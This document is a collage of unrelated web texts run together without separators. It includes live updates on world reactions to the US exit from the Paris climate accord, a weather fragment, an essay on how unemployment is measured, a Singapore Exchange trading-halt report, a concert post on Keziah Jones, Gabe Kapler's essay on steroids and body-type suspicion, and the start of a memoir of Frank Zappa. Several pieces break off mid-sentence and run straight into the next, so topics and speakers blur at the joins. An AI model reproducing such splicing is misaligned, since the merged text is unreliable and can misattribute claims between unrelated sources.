Voreqe Bainimarama says he tried to persuade Trump to stick with the agreement, as nations tackle “the greatest challenge our planet has ever faced.”
Bainimarama says the decision is a grave disappointment for citizens of places like his Pacific island nation and U.S. coastal cities like New York and Miami that are vulnerable to climate change.
He says he will do all he can to continue to forge a grand coalition to accelerate the momentum that has built since the Paris agreement. He says he’s convinced the U.S. government will eventually rejoin the effort.
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8:25 p.m.
Hillary Clinton is calling President Donald Trump’s decision to pull out of a landmark climate accord “a historic mistake.”
Trump’s Democratic rival in the 2016 election says in a tweet that, “The world is moving forward together on climate change.” She says Trump’s decision to withdraw from the Paris accord “leaves American workers & families behind.”
Clinton has been increasingly vocal in her criticism of Trump as she ramps up her public appearances after several months of laying low following her bruising defeat.
Numerous Democrats as well as world and business leaders are criticizing Trump for abandoning the alliance of almost two hundred countries. The countries agreed to curb carbon their emissions in an effort to combat climate change.
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8:05 p.m.
Walt Disney Company Chairman and CEO Bob Iger is resigning from his position on a White House advisory council in response to President Donald Trump’s withdrawal from the Paris climate agreement.
Iger tweeted his decision on Thursday, just a few hours after Elon Musk exited the council. Iger says it was a matter of principle.
As a Democrat who supported Hillary Clinton in the presidential election, Iger faced criticism for his participation in Trump’s advisory council, but he assured Disney shareholders that participation did not equal endorsement.
Iger isn’t the only business leader weighing in on the president’s decision. Facebook CEO Mark Zuckerberg says in a post that Trump’s decision is “bad for the environment, bad for the economy, and it puts our children’s future at risk.”
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7:45 p.m.
Mexico is reaffirming its “unconditional support for the Paris accord,” and says it “will continue to meet its established goals” for reducing carbon emissions.
The nation’s Foreign Relations Department is responding to President Donald Trump’s announcement Thursday that the U.S. is withdrawing from the Paris climate accord.
The department has released a statement saying, “Efforts to slow climate change are a moral imperative, because we owe it to future generations.”
Mexican President Enrique Pena Nieto writes on Twitter that “Mexico maintains its support and commitment for the Paris accord.”
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7:30 p.m.
Australia’s environment minister says he is disappointed that the U.S. will exit the climate agreement, but the Australian government remains committed to it.
Environment Minister Josh Frydenberg has told Australian Broadcasting Corp.: “It would’ve been preferable for the United States to remain at the table. That being said, many other major countries have reaffirmed — like Canada, like Japan, India and China — have reaffirmed their commitment to Paris. Australia does too.”
Frydenberg says he spoke to Prime Minister Malcolm Turnbull, who is in Singapore, following the White House announcement and the two agree that Australia’s emissions reduction targets are achievable.
Frydenberg says: “Australia will carry on because as our prime minister has made very clear, when we sign up to international agreements...we will follow through.”
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6:45 p.m.
The White House says President Donald Trump spoke with the leaders of Germany, France, Canada and Britain Thursday to explain his decision to withdraw from the Paris climate accord.
The White House says the president thanked the leaders for holding “frank, substantive discussions” with him on the issue. He reassured them that the U.S. is committed to the trans-Atlantic alliance and “robust efforts to protect the environment,” according to the White House readout of the call.
Trump also vowed that the U.S. will be “the cleanest and most environmentally friendly country on Earth” going forward.
The president met with all four leaders last week at the NATO and Group of 7 summits in Europe.
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6:20 p.m.
Ivanka Trump and Jared Kushner did not attend President Donald Trump’s announcement that the U.S. would exit the climate agreement.
A White House official said the couple attended service at synagogue for the Jewish holiday of Shavuot. Ivanka Trump went home to observe the holiday with her children, while Kushner walked to work and had a longstanding meeting scheduled at the same time as Trump’s remarks. The official said Kushner was involved with the president’s announcement.
The official was not authorized to discuss their movements and insisted on anonymity.
Ivanka Trump had favored staying in the deal. Kushner thought the deal was bad but would have stayed in with adjusted emissions targets.
— By Catherine Lucey
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5:50 p.m.
Pittsburgh Mayor Bill Peduto tweets his city stands with the world and he’ll follow the guidelines of the Paris agreement “for our people, our economy & future.”
Peduto was responding to President Donald Trump’s decision to pull out of the Paris climate accord, and Trump’s statement that he was elected to “represent the citizens of Pittsburgh, not Paris.”
The Democrat also had this to say: “Fact: Hillary Clinton received 80% of the vote in Pittsburgh.”
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5:50 p.m.
General Motors Co. Chairman and CEO Mary Barra said she will remain a part of President Trump’s Strategy and Policy Forum despite President Donald Trump’s decision to withdraw the U.S. from the Paris climate agreement.
In a statement, the automaker said the forum “provides GM a seat at an important table to contribute to a constructive dialogue about key policy issues.” But in a separate statement, GM says: “International agreements aside, we remain committed to creating a better environment.”
Ford Motor Co. said it will also continue to reduce greenhouse gas emissions at its plants and from its vehicles.
Says Ford: “We believe climate change is real.”
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5:30 p.m.
A group of Democratic governors say President Donald Trump’s decision to pull out of the Paris climate agreement will encourage states to do more to fight climate change.
Washington Gov. Jay Inslee says in a conference call with reporters that states are free to act on their own to reduce pollution.
Inslee says Washington state, New York and California are forming the United States Climate Alliance, a coalition that will convene states committed to working to uphold the Paris climate agreement.
He says, if anything, Trump’s move “will give us additional political impetus” to address climate change.
Virginia Gov. Terry McAuliffe says Trump’s decision is a “disgrace” and the president has sided with Nicaragua, Syria and oil barons with his decision.
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5:30 p.m.
Cabinet secretaries whose departments don’t deal primarily with environmental policy are praising President Donald Trump’s decision to withdraw from the Paris climate accords.
Echoing White House talking points, Health and Human Services Secretary Tom Price released a statement that called the climate accords “a bad deal for the American people.”
He added: “I applaud President Trump’s leadership and the actions he is taking.”
Education Secretary Betsy DeVos also issued a statement in support of Trump’s decision, calling it “one more example of his commitment to rolling back the unrealistic and overreaching regulatory actions by the previous administration.”
Added DeVos: “President Trump is making good on his promise to put America and American workers first.”
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5:30 p.m.
The United Nations body tasked with tackling climate change says it is ready to |
and 27, 2010, city recorded maximum temperature 40 degrees Celsius and on March 23, 2004, 40.3 degrees Celsius.On Friday, maximum and minimum temperatures in the state capital are expected to be around 41 and 21 degrees Celsius, respectively. The sky will be clear and weather would be dry.State Met director J P Gupta said western disturbance hovering over the hills is responsible for the rise in temperatures. Similar situation would prevail till Sunday-Monday. Temperatures are expected to come down to normal levels on Tuesday (March 4) and partly cloudy sky on Wednesday and Thursday (March 5 and 6).As the recession has deepened and the rate of unemployment has risen, a number of commentators have sought, for various reasons, to portray the situation as far graver than the “official” rate of unemployment indicates. Some of these commentators charge that the government is deliberately misrepresenting the amount of unemployment and that the “real” rate of unemployment is much greater than the official rate that the government announces and the news media report each month.
I have no desire to claim that the government never hides bad news—indeed, the extent of its blatant lies and outrageous propaganda ought to have provoked public outrage a long time ago—but in the present instance, I believe the critics are the ones who are misrepresenting the situation. If the government is hiding the bad news about unemployment that the critics are courageously “revealing,” it is hiding that bad news in plain sight. Since 1940, the Bureau of Labor Statistics has provided a variety of information on the population’s employment status derived from the Current Population Survey, a rather complicated, stratified random sample of approximately 60,000 households conducted each month. A BLS website explains how the data are collected. From these data, various measures of the rate of unemployment may be, and routinely are, computed. Again, a BLS website lays out these measures for all the world to see, and it makes available the component figures for anyone who wishes to compute a differently defined rate.
Thus, in October 2009, the most recently reported month, the rate designated U-3, which is defined as “total unemployed, as a percent of the civilian labor force (official unemployment rate),” stood at 10.2 percent. The persons classified as unemployed in this measure, the most commonly reported one, are basically those who are not currently working but who have made an attempt to find a job in the past four weeks. By adding other categories of persons to those regarded as unemployed in the U-3 measure, one may arrive at greater rates.
The broadest such measure, designated U-6, is defined as “total unemployed, plus all marginally attached workers, plus total employed part time for economic reasons, as a percent of the civilian labor force plus all marginally attached workers.” This rate stood at 17.5 percent in October 2009. A note attached to the BLS table of unemployment rates explains: “Marginally attached workers are persons who currently are neither working nor looking for work but indicate that they want and are available for a job and have looked for work sometime in the recent past. Discouraged workers, a subset of the marginally attached, have given a job-market related reason for not looking currently for a job. Persons employed part time for economic reasons are those who want and are available for full-time work but have had to settle for a part-time schedule.”
One does not need to devote a lifetime to studying how these statistics are defined and measured to realize that in many ways they tend to overstate how dire the unemployment situation really is. For example, the persons classified as in the labor force but currently unemployed must have actively sought a job during the past four weeks, but a wide variety of actions qualifies as evidence that they have actively sought a job, including: (1) “contacting: an employer directly or having a job interview; a public or private employment agency; friends or relatives; a school or university employment center”; (2) “sending out resumes or filling out applications”; (3) “placing or answering advertisements”; (4)”checking union or professional registers”; and (5) “some other means of active job search.” So, if you are out of work and tell the CPS data collector that three weeks ago you asked Uncle Charlie whether he knew of any job openings, then you qualify as officially unemployed, even though you made no other effort to find employment. Many of those classified as “marginally attached workers” and included in the U-6 measure are even more questionable. After all, they admit that they are neither working nor doing anything to find work. Merely saying that “they want and are available for a job and have looked for work sometime in the recent past,” though not in the past four weeks, does not evince much genuine interest in employment.
Strange to say, many commentators have insisted, from the very onset of the current recession, that we are plunging into a second Great Depression. Perhaps we are, but the evidence to date does not confirm such a plunge. Yes, by taking an extremely loose view of what constitutes unemployment, we can say that perhaps one worker in six is now out of work. But in 1933, the official rate of unemployment was nearly 25 percent, and perhaps another 25 percent of the labor force comprised persons working part-time who wanted to work full-time, so the U-6 rate at that time (long before the requisite data for such an estimate were routinely collected) was in the neighborhood of 50 percent—and that at a time when workers’ earnings and assets were much less than they are now and hence long spells without work correspondingly more frightening. Small wonder if a typical scene from the early 1930s shows dejected workers standing on the sidewalk in a soup line, whereas the typical queue nowadays is more likely to show cheerful customers waiting to be seated in an upscale restaurant. The year 2009 may not be the best of years, but it’s miles away from 1933.
Tags: American History, Bureau of Labor Statistics, Current Population Survey, Economics, Employment, Great Depression, joblessness, Labor, UnemploymentOrders can be put in, taken out or amended during the time when the market is closed, but will be matched only when the market reopens, the bourse says.
SINGAPORE: Trading of securities on the Singapore Exchange (SGX) could not be resumed on Thursday (Jul 14) after a suspension was imposed at 11.38am because duplicate trade confirmation messages were being generated.
“No duplicate trades were executed and the market remained orderly,” SGX said in a further statement at 12.39pm after initially announcing the suspension just before noon, adding that “message reconciliation” was underway. Trading had been expected to resume at 2pm, but in another statement at 1.53pm, the bourse said that would not happen.
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In another update to the media at 3.21pm, the bourse confirmed that order and trade executions were accurate and said the market would resume trading at 4pm.
At just after 4pm, however, SGX retracted its previous statement and said that the market would remain closed for the rest of the day. It did not say whether it would reopen tomorrow.
SGX said that during suspension of trading, orders can be put in, taken out or amended, but will be matched only when the market reopens. Customers should check with their brokers for the status of their orders, SGX said.
“We apologise for any inconvenience caused.”
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A spokesperson from the Monetary Authority of Singapore said it was informed by SGX that the exchange was ceasing trading on its securities market due to a technical issue at 11.38 am on Thursday.
"We understand that SGX is currently working with affected members to rectify the issue. MAS is monitoring the situation closely," the spokesperson said.
SGX has been hit by several power outages, including one in November 2014 that halted its securities and derivatives markets, and another in April 2015 which forced the exchange to suspend derivatives trading for more than three hours.
DISRUPTIONS MAY AFFECT INVESTOR CONFIDENCE: ANALYSTS
Director of wealth management at financial advisory firm Financial Alliance Sani Hamid said it was “quite fortunate” the disruption did not happen when the market was not being affected by many external factors.
“Even though there was a disruption, the so-called good thing to take out of it was that there was not a lot of volatility. If it was a day when the European markets or the Dow Jones Index had dropped a lot then it would probably be more problematic,” he said.
Mr Sani said he did not think investor confidence would be affected much unless there was a serious cause behind the disruption. "SGX has to look into what's happening and whether it's a permanent thing or a one-off thing,” he said.
However, co-founder of investment blog The Fifth Person Victor Chng said that as an investor, he felt disruptions would cause a loss of confidence in the exchange.
“If today’s market crashed and I needed to buy stocks but couldn’t because they closed the market, that would be an opportunity cost for me,” Mr Chng said.
“As an exchange they should be 24-7 and having the system right; they should not be getting duplicate messages and all these things. I think they do not have a system to track all these duplicates, and they should do something about this. Previously, it was a software glitch and I feel they should always have a back-up system so in case this is down they can immediately run on the back-up.”
Mr Chng added that he thought that SGX would be facing many questions about the disruptions at their annual general meeting.
Like Mr Chng, the CEO of another investment website, The Motley Fool, David Kuo, said investors had a right to expect an exchange to be open for business when it said it would be.
"People buy and sell shares for various reasons. Traders looking for short-term gains are likely to be affected most," he said.
To ensure investor confidence would not be further eroded from the disruptions, Mr Kuo said SGX must be "open and transparent about the causes of the technical glitch".
"Most of us understand that the more complex a system, the greater is the potential for failure; misfortune is always just around the corner. As a provider of an essential service, SGX must anticipate as many of those unfortunate events as possible by always asking what could possibly go wrong - because it will!"
President and CEO of the Securities Investors Association (Singapore) David Gerald said that the trading halt had to take place "to maintain an orderly market in the interest of all investors".
"Situations like this do not happen only in Singapore. I understand it has been happening in Western markets, Japan and Hong Kong."
He added: "SGX should investigate to find out exactly what happened, which it is doing, and we should await the outcome of their investigations".Click on the link here for Audio Player – Keziah Jones – live at Nova Sessions, Paris – September 27, 2013 – Radio France FIP
Keziah Jones (originally Olufemi Sanyaolu) is a Nigerian Singer-Songwriter and purveyor of Blu-Funk, a hybrid of Blues and Funk, done in the inimitable Nigerian style. But Jones is also a dazzling guitarist, employing a distinctive style that includes a percussive right-hand technique.
It’s a winning combination and Jones has been at it since roughly 1991, taking a long and circuitous route, from Busking in the London underground to an impressive 6 album catalog as of 2013 (with new album, Captain Rugged just out). There appears to be no stopping in sight. Jones has been steadily gaining a fan base, and judging by the reaction to this session, he’s won over the French.
Tonight it’s an informal get-together (and pretty intimate, with the audience sitting literally next to, and all around the band), as part of the Nova Sessions series in Paris. Jones, along with bass player Arthur Williams and drummer Nathan Allen, and over an hour of beautiful music making.
In addition to Blu-Funk, Jones is now being tagged with Afronewave (African New Wave). Further evidence there is a treasure trove of astonishing and influential talent in that massive continent just south of the Mediterranean.
Time to go exploring and seeing what else is out there. In the meantime, dive into Keziah Jones – and visit his website. He has a free download available.Most of our writers didn't enter the world sporting an @baseballprospectus.com address; with a few exceptions, they started out somewhere else. In an effort to up your reading pleasure while tipping our caps to some of the most illuminating work being done elsewhere on the internet, we'll be yielding the stage once a week to the best and brightest baseball writers, researchers, and thinkers from outside of the BP umbrella. If you'd like to nominate a guest contributor (including yourself), please drop us a line.
Gabe Kapler spent parts of 12 years in the major leagues from 1998-2010, playing for the Tigers (1998-99), Rangers (2000-02), Rockies (2002-03), Red Sox (2003-06 – with a brief interlude in Japan), Brewers (2008) and Rays (2009-10). He also spent a year managing the Red Sox’ Single-A affiliate in Greenville. Follow him on Twitter @gabekapler. You can read his first article for BP here and listen to his recent discussion of advanced stats on Effectively Wild with Ben Lindbergh and Sam Miller here.
***
I admit that my relationship with weight training was born out of insecurity. My bloom was tardy and the pictures of a minuscule, undeveloped, preadolescent me juxtaposed with my Little League teammates haunted me through the 10th grade, when I finally began to expand physically in both directions.
While I certainly sprouted in high school, I am to this day attempting to shake the association with that tiny 12-year-old boy. And it's that mindset that ingrained insanely regimented and admittedly neurotic eating practices as a young adult, like taking a bite of ice cream and, if I deemed the taste unworthy, spitting it out into the bushes so as not to ingest the fat content.
That was the tip of my idiosyncratic iceberg related to food. For years I survived on a diet of boneless, skinless chicken breasts and rice and beans, without a vegetable or berry in my repertoire. I learned to eat fast food in the minor leagues by throwing away buns before it was sexy to wrap a burger in a piece of lettuce.
Those echoes of childhood neuroses drove me to an obsessive quest for muscle; I did pull-ups on dugout ledges, always leery of the former absence of size in my back. And that muscle, in the era in which I played, meant that I would be suspected, without evidence or reason, of using steroids.
I graduated from high school as a 17-year-old in 1993 at 6-foot-1, 175 pounds, rocking a lean, wiry frame like my dad and my grandpa had at the same age. I didn't hit a single home run in high school but had extraordinary eye-hand coordination and could square the ball up at will. Unfortunately for me at the time, the baseball didn't go anywhere when I did find the sweet spot. Still, someone at Cal State Fullerton must have noticed that I possessed good bat-to-ball skills and a frame that would fill out, and offered me a scholarship.
The Titans won the College World Series the following year, but I wasn’t on that team. I didn’t even make it to the spring semester at CSUF in 1994. Among other things, I hadn’t acquired my “man strength,” and in the end, I simply wasn’t emotionally or physically ready for the program. I took the year off and arrived in the fall semester of 1994 at Moorpark College, where I told my coach, Mario Porto, that I was coming from Fullerton.
“Congratulations,” he responded sarcastically. “If you’re good enough, you’ll play here.”
The fall from grace and loss of a scholarship coupled with my new coach’s hard-line stance was a blessing in disguise and offered the motivation desperately needed by a directionless teenager. In addition to a strict offseason lifting program, I took a nutrition course at Moorpark that changed my life in a way that no other educational experience had before. I learned how to replenish calories and how much protein was needed after a workout for appropriate tissue recovery and muscle building. I fully absorbed and embraced the concept of eating for fuel, not for taste.
In congruence with my newfound sustenance awareness, I was gradually maturing physiologically. It was the perfect storm of a 19-year-old finally receiving the hormones that blessed his peers years earlier, a passionate love affair with heavy weight training, and a mind infinitely opened by a junior college nutrition textbook that boosted me down a path of minor league baseball success and outrageously unfair, but in some ways understandable, accusations.
I was drafted in the 57th round in 1995 at an incredibly lean 190 pounds. By the time I reached my second year in the minor leagues, I was more muscular at 205 pounds than the first-round picks in the Detroit Tigers organization, and as strong as anyone selected in between. Those well-struck baseballs that had once landed safely in the gloves of shallowly positioned outfielders in my high school days were now screaming into the gaps and bouncing off walls.
I remained my own interpretation of Rain Man with my routine. I vividly recall being on a South Atlantic League road trip in 1996 and walking miles from our team motel to a gym in Savannah, Ga., in the dead of summer so as not to miss a workout (I was squatting nearly 500 pounds at this point). God forbid I stray from my lifting schedule. I found that gym buried in the Yellow Pages, a common practice for me in those days. The Comfort Inn didn’t have a treadmill back then, but I could count on a Bible and a phone book.
My teammates deemed my eating habits and training regimen psychotic and busted my balls about it, but they consistently asked for advice on training. They were intrigued (and, I’m guessing, suspicious), but I always felt that deep down, regardless of their outward behavior, they respected my sacrifice. Could be wishful thinking, but I’ll roll with that.
As my performance improved, so did the hotels. Better access to gyms on road trips spared me the toe blisters, but my inflexible approach to training and eating didn’t waver until many years into my major league career. (Full disclosure: I still have strict eating and training habits, but they are far healthier, and center on well-being rather than strength and size. My relationship with blueberries long ago passed the honeymoon phase.)
I was at my heaviest (around 215 pounds) and strongest, but not my leanest, during my first two seasons with the Texas Rangers at ages 24-25. I remember the batting practice session in which I blasted a ball into the second deck in left field at the Ballpark in Arlington, and later in the same session hit a ball onto the grassy section in center well beyond the wall that I knew instantly would go out. My power was always to the pull side, and the significance of hitting a ball right of the “400” sign with the certainty that it would leave is not to be discounted. I never again in my career felt that powerful or even close.
In the offseason before 2002, when I was 26, I played a flag football tournament that I participated in annually. Granted, it was physical, but I was used to bouncing back the next day and hitting and throwing in preparation for the upcoming season. But this time, instead of my usual seamless physical recovery, I was extraordinarily stiff for several days.
This was the first sign that I was in physical decline. From that point on, my body cooperated less and less. When I got to camp in 2002, I noticed that the ball wasn’t exploding off my bat quite as much as it had been the previous year. In fact, in one spring training game in Port Charlotte, I hit a walk-off home run that I confidently anticipated would land in the water beyond the left-field fence and was shocked to see it narrowly sneak out of the park, crashing against the second wooden wall.
Frustration permeated my being to the point that I took hours of swings off a tee on the field at Charlotte County Stadium the following day, bloodying my hands in the process. My mechanics were not sound, but it didn’t make sense that even when squaring the baseball up, the velocity off the bat was noticeably diminished. In hindsight, I can forcefully squish the puzzle pieces together.
My body was producing less testosterone. I was very slowly and quite naturally shrinking. Every year after that, I carried less and less muscle mass while working just as hard in the weight room and continually improving my eating habits. Each year I came into camp a little lighter: 208, then 205, then 202. By my last year in Tampa I was having trouble maintaining 198. My body without weight training naturally carries a lean 175 or 180, as it did when I graduated from high school. So the progression was natural for a guy who wasn’t getting fatter.
I never again experienced the strength or productivity that I had at 24 and 25, but found subtle ways to make adjustments when appropriate and have success, albeit limited, throughout my career. I am grateful for the natural gifts I was given to do so.
Realizing that I’d begun to decline was my moment of truth, the perfect opportunity to step across the threshold from the red to the black (or vice-versa) depending on moral compass. I was about to lose my role as a major league starting outfielder and slide gracefully into my role player/“good teammate” archetype.
Fame and fortune were still mine for the taking if the devil on my shoulder had a loud enough voice. He did not. PEDs have been the topic of a plethora of philosophical conversations at home with my wife. She was the one person in my life with whom I could safely and whimsically fantasize about what might be if ever I were to open Pandora’s Box (600 plate appearances, 30 homers, millions of dollars?). Despite the potential fairytale, I never really got close to the decision to use PEDs.
I made the choice to play clean for a myriad of reasons. Most importantly, I have an obnoxiously loud conscience. I knew I wouldn’t be able to rest while cheating. When I do something, anything, of which I’m not proud (and I’ve displayed my fair share of selfish behavior), I experience guilt. I carry it around like a ton of bricks and was able to anticipate my inability to live with the decision to take the shortcut.
I was also able to predict future conversations with my more mature children. I figured that ultimately I would be in a position in which I’d be forced to impart one of two lessons: “don’t do it like dad” or “follow in my footsteps.” I chose the latter.
I can fully comprehend the spell cast on my peers. Fame, power, and the financial security of generations all contribute to an irresistible scent. It’s like the episode of Survivor in which the contestants have to give up the long-term advantage in a challenge for the instant gratification of a giant slice of chocolate cake and an ice-cold glass of milk while in a state of starvation and dehydration.
Had I been unable to resist the temptation, I believe I would have maintained the strength that I had at my peak, or perhaps increased it. As I became better mechanically and through experience, that power would play up. The ripple effect of that would lead to confidence, which would in turn lead to improved performance. There is a school of thought that PEDs don’t help your eye-hand coordination; that they won’t make you a better player because you still have to hit the ball. That’s a debatable topic, but I reckon that bigger, stronger, faster, more powerful men will hit the ball harder and throw the ball faster. That’s nearly indisputable. In baseball, there isn’t a factor more responsible for success than confidence. I’ve never in my life had a player tell me different. If a man is stronger on the field and can recover more quickly, he’s inherently going to believe in his ability more. I submit that if anything, the value of PEDs to a player has been drastically underpublicized as opposed to overblown.
At every turn, I handled accusations, conversed with skeptical teammates, and did public interviews because of my build. If you start to Google my name, you’ll likely be greeted with the suggestion to type “Gabe Kapler Steroids”. I alone am responsible for this unsavory link. After all, had I not been the subject in the farcical but priceless images that you’ll also find in a web search, one might make less of a connection between me and PEDs based on my body type. My naiveté led me astray when I thought it a good idea to supplement my minor league salary with a few bucks for taking shirtless pictures. It’s entertaining to me that many years later I’m still trying to shake the image of my youth and restore credibility. (Are you listening, Johnny Manziel?)
At one point in 2000, HBO Real Sports came to Chicago during a series with the White Sox in a sleazy attempt to ambush our Texas Rangers team. The network was there in part because that group included since publicly indicted players Ken Caminiti, who was open with his teammates about his steroid abuse, and Rafael Palmeiro and Alex Rodriguez, who both tested positive, as well as others with strong ties to rumors, speculation, or positive tests. Grievously for me, if you fight beside gang members, it’s assumed you are in a gang. HBO asked for volunteers to be tested.
“Who would be willing to take a PED test, right here and right now for our show?”, the producers asked.
I raised my hand. I was extraordinarily proud to do so, and still hold that moment in my life in high regard. I’m grateful to have the incident documented.
In my private moments of frustration stemming from accusations related to body type, I mentally appraised the men in the other dugout, or in my own. I went through them one-by-one and judged them based on size and muscularity. It was a worthless exercise, but entertaining nonetheless.
Jose Canseco, Mark McGwire, and Sammy Sosa are the fuel to America’s fiery game of “Who Done It?” Baseball has become a B movie, and the stars are a cast of characters with a wide variety of physiques residing on both sides of the ethics spectrum. What’s a good script without a conflict between good and evil?
The men who have tested positive for PEDs include Ryan Franklin (skinny), Bartolo Colon (not skinny), Melky Cabrera (not muscular), Neifi Perez (skinny) etc. Do bodybuilders use steroids? Of course. Like the American population, users come in all shapes and sizes. Men in major league baseball who don’t use also vary greatly in body type.
In the aftermath of the Biogenesis mushroom cloud, I've joined the chorus of people in the industry who have spoken publicly about the noticeable change taking place. The players are finally speaking up, standing shoulder to shoulder and emphatically proclaiming their desire for a clean sport. There is a growing crack in the once-private dam of player opinion, and it’s a beautiful thing.
Mike Trout, Matt Kemp, Skip Schumaker, Aaron Rodgers and many more have emphatically taken a stance on the “clean” side of this issue. That doesn’t make them better than anybody else, but if a PED-free game is what the players desire, there must be an authenticity to our public stance, and it has to be loud and unified.
It’s unfortunate, but players, fans, and the media are still analyzing PED use like a 1950s baseball scout rather than using the mounds of data at our fingertips to appropriately measure what has occurred and is occurring. Phrenology was once a widely accepted science, but it was based on mainly false assumptions. The nature of the current quest to identify potential users seems just as misguided.
From my perspective, assuming and sharing publicly that because a man is muscular he's used steroids, HGH, or any other PED is irresponsible and reckless. It may indeed be part of an overall picture, but it’s akin to looking at a pitcher’s wins and losses and determining his value based on those flawed statistics alone. The detective work necessary to accurately assess the likelihood of a player's PED use is above the pay grade of the average fan, and therefore it’s rarely done.
Earlier this month, Jack Clark threw a blindfolded haymaker at Albert Pujols, stating publicly on his (now former) radio show, “I know for a fact he (Pujols) was (using). The trainer that worked with him, threw him batting practice from Kansas City, that worked him out every day, basically told me that’s what he did.”
I cringed along with the baseball world when I heard that, not only because a player whom we all hold in high regard was unreasonably facing an attack on his integrity, but also because your buddy lobbing you an anecdote is not enough data for you to kick another human being in the nuts.
The following day, Brian Kenny and I chatted on his radio show. He asked me to address Pujols in particular, and in doing so vehemently stated, “Anybody that comes into camp 25 pounds lighter, I wonder about.” BK was clearly emotional, and rightfully so after the Ryan Braun and A-Rod deceptions. I get BK’s sentiment, but wondering is all we can justly do. We certainly have no business making a reasonable case based on hearsay and weight loss alone.
Until we have a positive test, an admission of guilt, an accepted suspension or some other unequivocally accurate anecdotal evidence, we’d be wise to assume innocence so as not to unjustly jeopardize the reputations of undeserving human beings.
But that doesn’t mean we should put our heads in the sand and ignore the possibility of guilt. Clearly, players are still trying to get a chemical edge in the world of penalties. And it would be irresponsible to ignore evidence that at least raises yellow flags.
Pujols is an interesting example of a guy who absolutely should be and is experiencing a natural decline in strength, durability, and performance. The average male’s testosterone levels begin declining at age 20. By 30, the same man is producing 25 percent less testosterone, and the decrease in production continues through his 30s. By the time he reaches 40, he has 50 percent less testosterone production than at his peak in his early 20s.
So now Albert is truly out of luck, and he owes it, at least in part, to Jack. If he picks up his performance, the world will throw the book at him. He’s similarly screwed if he speaks out, given the recent sentiment that the guy who screams the loudest, e.g., “I’ll sue you!”, is guilty. And we all know that a player who won’t publicly deny PED use MUST be hiding something.
The players who have publicly humiliated themselves by desperately proclaiming their innocence, only to later admit guilt (or be deemed guilty), were not just slicing their own wrists but muzzling and, in some cases, strangling the men and women wrongly accused.
At this point, players are damned in the court of public opinion no matter what they do or say. In many ways, this is the collective responsibility of the players. Our most important figures lied to our faces, and now we don’t know who to believe.
Speaking of our most important figures, a recent edition of The Washington Post contained a piece on A-Rod’s recent decline and cited Yale economist Ray C. Fair’s mathematical model of how hitters age, derived using the stats of every batter who played at least 10 full seasons between 1921 and 2004. He uncovered that the typical peak is around age 28, even with a selective sample of hitters who aged gracefully enough to make it in the majors for a decade or more. By 29, such hitters are already in a decline. It’s worth noting that pitchers are at their best even earlier (around 26, which is when I noticed my own descent).
If we are to start somewhere in our quest to understand PEDs, it’s most likely by examining performance. Scientifically, it’s difficult to fathom players aging in reverse, as they have so often in recent years. What we see in terms of physique—muscle gain or weight loss—is far less useful as an indicator of potential use than statistics that make a mockery of the aging curve.
And here I am stepping into the same razor-sharp trap that I’m trying to direct you away from. I’m exposing my own bias and speculating along with the rest of America. Shame on me.
So is the lesson not to judge a book by its cover? Perhaps. There are numerous takeaways from the madness and scandal of 2013. This season (and the entire PED era) will forever stick us with a skeptic’s view of our beloved sport.
But skepticism should not be used as a justification for ignorant discourse and speculation. Instead, it should compel those of us who care about the game to identify meaningful, measurable indicators of potential PED use.
If we talk about the topic openly enough and study the science with ferocity, rather than viewing the PED discussion as juicy gossip and tabloid fodder while wildly pointing fingers, we have a chance to see things as they are. That kind of methodical approach to the PED conversation may be the best way to leave the ugly drama of scandal in our wake and bring our focus back to the striking beauty of the game itself.ZAPPA DRINKS AND GOES HOME by Rip Rense (Originally published in the L.A. Weekly) I drove out to that curious little postage-stamp of a cemetary called Westwood Memorial Park one recent sunny morning---you know, the place where black Porsches double-park to unload aggressively coiffed starlets who theatrically deposit poseys at the slot filing the remains of Marilyn Monroe. I had come to visit a friend, not that I had any confidence I would feel fulfilled by the gesture. It was a compulsion I felt periodically, and still feel, even though he's been gone two years. A cemetary employee steered me to the resting place, as unassuming a gravesite as my friend's personality wasn't. He rests length-wise, I was told, under the gentle boughs of a shady camphor tree, in an unassuming, yet-unmarked, grassy plot. I stood there a while, tried speaking a few words--- "well, strange you should wind up like this---rather anti-climactic"---but derived no satisfaction from the exercise. Instead, I allowed my mind to wander through memories of the last few years of his life, how uncharacteristically sociable and, occasionally downright happy he became--- despite an ongoing battle with the horrible complications of cancer. I first met Frank Zappa in 1975, when I interviewed him for the old Valley News (now Daily News.) After the session, as I rose to leave, Frank suggested that I instead "take my coat off and sit down," and we talked for several more hours, there in the basement studio of his Hollywood Hills home, just to talk---the first of many conversations to take place over 18 years. Seems we had similar attitudes about a lot of things. "Why would I want to do that?" I can still hear him say, during our second talk, also in 1975, when I'd naively asked if he ever felt like getting out for fresh air, at the mountains, or the beach. "Why would I want to do that when I can stay here and work? If I want the beach, I can look at a picture." (I still wonder if his sneering "Let Me Take You To The Beach," written at about that time, might have had something to do with that question.) It was during that talk I first realized that Frank Zappa--- musican/composer/satirist/bandleader/social commentator/crusader against censorship/lifelong champion of avant-garde composer Edgard Varese---was about as fascinated with music as is humanly possible. He lived almost entirely for it; for the black dots and lines he taught himself to arrange on staves when he was a teenager (and stopped arranging only when his body would no longer allow him to sit at a keyboard..) He simply adored the manipulation of sound waves, and they way they tickled his ears. His terse credo, "Music is the best," was terse for a reason. It is really not an exaggeration to say Zappa was a composer of Beethovenian drive; his preoccupation with music was comparable to that of the late reclusive super-genius pianist, Glenn Gould. Time and energy were undependable, inadequate allies for Frank; he made due with them, ever stretching their limits through insomniac nights with the only drugs he ever abused: caffeine and nicotine. He would sit, often until dawn, poring over great reams of composition paper (or, in later years, a computer screen), working with an urgency that became terrible and poignant as his health declined. It is well known, of course, that he also took time to, with wife Gail, raise Moon, Dweezil, Ahmet, and Diva Zappa, but I never knew Frank to really love anything outside his sound-world other than his family. Conventional socializing, or "relaxing" seemed incontrovertibly alien to him; the idea of small-talk would practically make him hold his nose. It was a criminal waste of good work time.
Until, that is, those last three or four years.
It was then, as Zappa doggedly fought the pernicious and crippling effects of mestasticizing prostate cancer, and its equally punishing treatments---composing at his Synclavier keyboard when he sometimes was barely able to even walk, or speak---that his devoted staff of technicians and secretaries had the temerity to sneak up on him with a bloated, crass, unapologetic American social tradition: TGIF Margarita Night! That's right, the guy who burlesqued middle-American cocktail lounge sensibilities (or insensibilities, perhaps) in 1966 with "America Drinks and Goes Home," was more or less visited by those same sensibilities---albeit with tacit irony---right in his sacred retreat. It was "Zappa Drinks and Goes Home," you might say, and it was the best, most improbable medicine anyone could have offered. At Gail Zappa's behest, the blenders roared every Friday evening about 6. In short order, Frank's staff of invaluable studio wizards and office workers became duly sloshed, and took to verbally slaying the |
